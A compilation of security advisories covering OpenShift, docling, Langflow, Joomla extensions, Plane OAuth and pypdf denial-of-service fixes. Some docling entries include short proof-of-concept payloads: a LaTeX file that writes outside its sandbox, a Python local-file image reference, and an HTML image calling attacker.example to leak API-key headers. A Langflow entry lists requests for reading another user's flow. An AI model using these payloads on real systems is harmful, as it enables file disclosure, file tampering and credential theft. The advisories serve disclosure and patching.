Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.
This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.22.17. See the following advisory for the container images for this release:
https://access.redhat.com/errata/RHSA-2026:74429
Security Fix(es):
* kube-compare: container:// reference extraction runs the image entrypoint and silently escalates to sudo (CVE-2026-87114)
* golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via HTML parsing bypass (CVE-2026-27136)
* google.golang.org/grpc: gRPC-Go: Denial of Service via malformed RPC requests (CVE-2026-84445)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
All OpenShift Container Platform 4.22 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html-single/updating_clusters/index#updating-cluster-cli.
A security flaw has been discovered in jishenghua jshERP up to 3.5. Affected is the function updateAccountHeadAndDetail of the file jshERP-boot/src/main/java/com/jsh/erp/service/AccountHeadService.java of the component Financial Receipt Update Handler. Performing a manipulation results in improper authorization. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
### Summary
docling accepts serialized `DoclingDocument` JSON as an input format (`InputFormat.JSON_DOCLING`, enabled by default). A crafted JSON file can set a picture's image `uri` to a local file path. When the converted document is exported with embedded images (`ImageRefMode.EMBEDDED`, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.
### Details
`docling/backend/json/docling_json_backend.py` validates the JSON into a `DoclingDocument` without checking image references. The file is then read by docling-core:
- `DoclingDocument._with_embedded_pictures` opens `file://` and plain-path URIs with PIL.
- `ImageRef.pil_image` checks `allow_image_file_uri` for `file://` URIs but not for plain `Path` values. docling's picture enrichment models load images through this property.
Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.
### Impact
Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.
### Proof of concept
```python
from pathlib import Path
from docling_core.types.doc import DoclingDocument, ImageRef
from docling_core.types.doc.base import Size
doc = DoclingDocument(name="poc")
doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1),
uri=Path("/srv/uploads/other-user/scan.png")))
doc.save_as_json("poc.json")
```
`docling poc.json --to md` embeds the referenced PNG as base64 in `poc.md`.
### Patches
Fixed in docling 2.131.0 by [#4417](https://github.com/docling-project/docling/pull/4417). The Docling JSON backend now drops image references that point at local files (paths, `file:` URIs and any scheme other than `data:` and `http(s)`) and logs a warning. Callers that need to load local images from JSON they trust can opt in with `DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True))`; the CLI has no such option.
Code that loads untrusted JSON directly with docling-core (`DoclingDocument.load_from_json`) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.
### Workarounds
Upgrade to 2.131.0. For older versions:
- Remove `InputFormat.JSON_DOCLING` from `allowed_formats` when converting untrusted input.
- Export with `ImageRefMode.PLACEHOLDER` or `ImageRefMode.REFERENCED` instead of `EMBEDDED`.
### Summary
`allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.
### Details
In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.
### Affected configurations
Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running.
### Impact
Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`.
### Patches
Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported.
### Workarounds
Upgrade to 2.131.0. For older versions:
Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`.
### Summary
When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (`LatexBackendOptions(tikz_engine="tectonic")`), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted `.tex` file can read files the process can read and write files at paths the process can write. If the caller also sets `tikz_engine_allow_shell_escape=True`, the document can run shell commands through `\write18`.
### Details
`docling/backend/latex/engines/tectonic.py` writes the picture source into a temporary document and runs the `tectonic` binary on it. `_resolve_local_dependency` only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:
- `\input{/abs/path}`, `\verbatiminput{...}` and `\openin` read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory `DocumentStream`, staging is skipped entirely.
- `\immediate\openout` / `\write` create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's `--untrusted` flag does not block them either.
Separately, the `TectonicEngine` constructor defaults to `allow_shell_escape=True`. The LaTeX backend always passes `tikz_engine_allow_shell_escape` explicitly (default `False`), so this default only affects code that instantiates `TectonicEngine` directly.
### Affected configurations
- Affected: callers that set `tikz_engine="tectonic"`, have a `tectonic` binary available (on `PATH` or in the docling cache), and convert untrusted LaTeX.
- Not affected: the default configuration (`tikz_engine=None`). docling does not install `tectonic` automatically, and the CLI exposes no option to enable it.
### Impact
Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.
### Proof of concept
```latex
\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
\immediate\openout15=/tmp/docling-tectonic-poc.txt
\immediate\write15{written by the input document}
\immediate\closeout15
\node {x};
\end{tikzpicture}
\end{document}
```
Converting this file with `LatexBackendOptions(tikz_engine="tectonic")` creates `/tmp/docling-tectonic-poc.txt`.
### Patches
Mitigated in docling 2.132.0 by [#4419](https://github.com/docling-project/docling/pull/4419):
- `TectonicEngine` now defaults to `allow_shell_escape=False`, and without shell escape Tectonic runs with `--untrusted` and `--only-cached`.
- Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the `\openin`, `\openout`, `\XeTeXpicfile` or `\XeTeXpdffile` primitives, or names an absolute, home, drive-letter or parent-directory path in `\input`, `\include`, `\includegraphics`, `\InputIfFileExists` or `\graphicspath`.
This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the [pipeline options reference](https://github.com/docling-project/docling/blob/main/docs/reference/pipeline_options.md), untrusted LaTeX rendered with `tikz_engine="tectonic"` should still be processed in an isolated environment.
### Workarounds
Upgrade to 2.132.0. For older versions:
- Do not enable `tikz_engine="tectonic"` for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
- Never set `tikz_engine_allow_shell_escape=True` for untrusted input.
### Summary
`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
### Details
`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.
### Affected configurations
- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.
### Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
### Proof of concept
```html
<img src="https://attacker.example/pixel.png">
```
Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
### Patches
Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
### Workarounds
Upgrade to 2.132.0. For older versions:
Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
### Summary
Before **Langflow 1.10.1**, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path:
- `POST /api/v1/build/{flow_id}/vertices` (`retrieve_vertices_order`)
- `POST /api/v1/build/{flow_id}/vertices/{vertex_id}` (`build_vertex`)
Any authenticated user who knows (or obtains) another user's `flow_id` could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response.
Both routes are declared with `deprecated=True, include_in_schema=False`, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses `POST /api/v1/build/{flow_id}/flow`), so they are only reachable by direct HTTP requests.
The issue is fixed in **Langflow 1.10.1** (`langflow-base` 0.10.1) by [#13153](https://github.com/langflow-ai/langflow/pull/13153).
### Details
In affected versions, both handlers go straight to the graph loader:
- `retrieve_vertices_order` (`src/backend/base/langflow/api/v1/chat.py`, lines 81-159 in 1.9.1) only required authentication via `dependencies=[Depends(get_current_active_user)]`. The user was never injected into the handler, and the flow was loaded with `build_graph_from_db(flow_id=flow_id, ...)`.
- `build_vertex` (`chat.py`, lines 320-491 in 1.9.1) receives `current_user`, but only uses it for variable resolution (`user_id=str(current_user.id)`). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by `flow_id`, or rebuilt with `build_graph_from_db` on a cache miss.
- `build_graph_from_db_no_cache` (`src/backend/base/langflow/api/utils/flow_utils.py`) does a bare primary-key lookup, `session.get(Flow, flow_id)`, with no owner filter.
The supported replacement, `POST /api/v1/build/{flow_id}/flow`, already restricted the lookup to the owner or a `PUBLIC` flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the `_read_flow` fix for GHSA-8c4j-f57c-35cf.
Additional side effects in affected versions:
- `retrieve_vertices_order` stores the graph in the chat-service cache under the victim's `flow_id` (`chat_service.set_cache(str(flow_id), graph)`). When the request includes a `data` body, the cached graph is attacker-supplied.
- `build_vertex` schedules `log_vertex_build` for the victim's `flow_id`, so attacker-triggered builds are recorded in the victim flow's vertex build history.
Note on older versions: up to and including **1.7.1**, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0.
### Attack scenario
1. The attacker authenticates as any valid user.
2. The attacker obtains a victim `flow_id` (shared URLs, exported flow files, logs, screenshots, etc.).
3. `POST /api/v1/build/{victim_flow_id}/vertices` returns **200 OK** with `{"ids": [...], "run_id": "...", "vertices_to_run": [...]}` listing the victim flow's vertex IDs (component type plus suffix, e.g. `ChatInput-abc12`).
4. The attacker calls `POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id}` for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker.
### Impact
- **Confidentiality (Low):** Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs.
- Global variables and credentials in the variable store are **not** exposed, because variable resolution uses the caller's `user_id`.
- The victim's stored flow definition is not returned wholesale.
- **Integrity (Low):** The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's `flow_id`. The attacker cannot modify the stored flow.
- **Availability:** None.
The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical.
### Proof of concept
Observed on `langflow==1.9.1` using the project's test client and in-memory SQLite fixtures (see the attached `poc.zip`):
| Request | Expected (hardened) | Observed on 1.9.1 |
|---|---|---|
| Attacker → `POST /api/v1/build/{victim_flow_id}/vertices` | `404 Not Found` | `200 OK` with vertex order payload |
| Attacker → `POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id>` | `404 Not Found` | `500` `{"detail":"Vertex <id> not found"}`: the victim graph was loaded before the vertex lookup failed |
| Owner (
An unauthenticated SQL injection vulnerability exists in OrdaSoft Joomla CCK versions up to and including 8.3.15. The flaw arises because the order column for records is user-controlled and not properly validated, allowing attackers to inject malicious SQL commands. This vulnerability has a critical severity rating with a CVSS score of 9.3.
A reflected cross-site scripting (XSS) vulnerability exists in the Dynamic Content Filter addon of the SP Page Builder Pro extension for Joomla. The issue occurs because slider minimum and maximum values are taken from a request parameter, HTML-escaped in an attribute but then echoed without escaping as text content, allowing an unauthenticated attacker to inject arbitrary HTML or JavaScript. The vulnerability affects versions 3.0.0 through 5.6.1p2 of the extension.
Plane is an open-source project management tool. Prior to 1.4.0, Plane trusts email addresses returned by Gitea OAuth and by self-managed GitLab OAuth deployments where email confirmation is disabled, without verifying that the provider authenticated ownership of the address. An attacker can set an OAuth identity's unverified provider email to a victim's address, which Plane matches directly to the victim's existing local account. The attacker can then log in to the victim's Plane account without knowing the victim's password. GitHub, GitLab.com, and Google are not affected because those providers return verified email addresses. This issue is fixed in 1.4.0.
The domain microsoftusercontent.com, owned by Microsoft, is used as a content delivery network (CDN) for Microsoft 365 user content. There are concerns that compromised user accounts or sites could potentially deliver malicious content from this domain. This raises caution about whitelisting microsoftusercontent.com in antivirus or security solutions. No specific vulnerability or exploit details are provided, and no official vendor advisory or patch information is available.
This report summarizes multiple cybersecurity developments including a set of iCloud email spoofing vulnerabilities, phishing campaigns targeting AI policy experts, a Chrome adblocker extension spying on AI chat conversations, and a large batch of vulnerabilities patched by Kiteworks. The iCloud spoofing bugs allowed attackers to send emails from arbitrary icloud.com addresses that passed SPF, DKIM, and DMARC checks due to inconsistent mail header parsing. The phishing campaigns involved a China-aligned group using fake AI advisory committee invitations to steal credentials via an adversary-in-the-middle proxy. The Poper Blocker Chrome extension was found to collect users' browsing history and AI chat conversations stealthily. Kiteworks patched over 100 vulnerabilities, including critical bugs that could lead to account takeover and code execution. Additional highlights include AI-assisted discovery of Android app flaws and a Cloudflare Containers data leakage vulnerability that was patched. No active exploits in the wild were reported for these issues.
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing the page labels of a document with large Roman numerals.
### Patches
This has been fixed in [pypdf==6.17.0](https://github.com/py-pdf/pypdf/releases/tag/6.17.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4047](https://github.com/py-pdf/pypdf/pull/4047).
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires reading a PDF document with long indirect object headers, not terminated by whitespace.
### Patches
This has been fixed in [pypdf==6.18.0](https://github.com/py-pdf/pypdf/releases/tag/6.18.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4055](https://github.com/py-pdf/pypdf/pull/4055).
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction.
### Patches
This has been fixed in [pypdf==6.18.1](https://github.com/py-pdf/pypdf/releases/tag/6.18.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4071](https://github.com/py-pdf/pypdf/pull/4071).
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/Widths` entry of a TrueType or Type1 fonts with unusually large values, for example during text extraction.
### Patches
This has been fixed in [pypdf==6.18.1](https://github.com/py-pdf/pypdf/releases/tag/6.18.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4072](https://github.com/py-pdf/pypdf/pull/4072).
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a partially malformed `/FlateDecode` stream, where the byte-by-byte decompression is used.
### Patches
This has been fixed in [pypdf==6.18.1](https://github.com/py-pdf/pypdf/releases/tag/6.18.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4073](https://github.com/py-pdf/pypdf/pull/4073).
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires updating form field values with flattening enabled, which triggers appearance stream generation.
### Patches
This has been fixed in [pypdf==6.19.0](https://github.com/py-pdf/pypdf/releases/tag/6.19.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4087](https://github.com/py-pdf/pypdf/pull/4087).
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing the embedded files through the dictionary-based API.
### Patches
This has been fixed in [pypdf==6.19.0](https://github.com/py-pdf/pypdf/releases/tag/6.19.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4081](https://github.com/py-pdf/pypdf/pull/4081).
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing the page labels of a document with large alphabetical labels.
### Patches
This has been fixed in [pypdf==6.19.0](https://github.com/py-pdf/pypdf/releases/tag/6.19.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#4096](https://github.com/py-pdf/pypdf/pull/4096).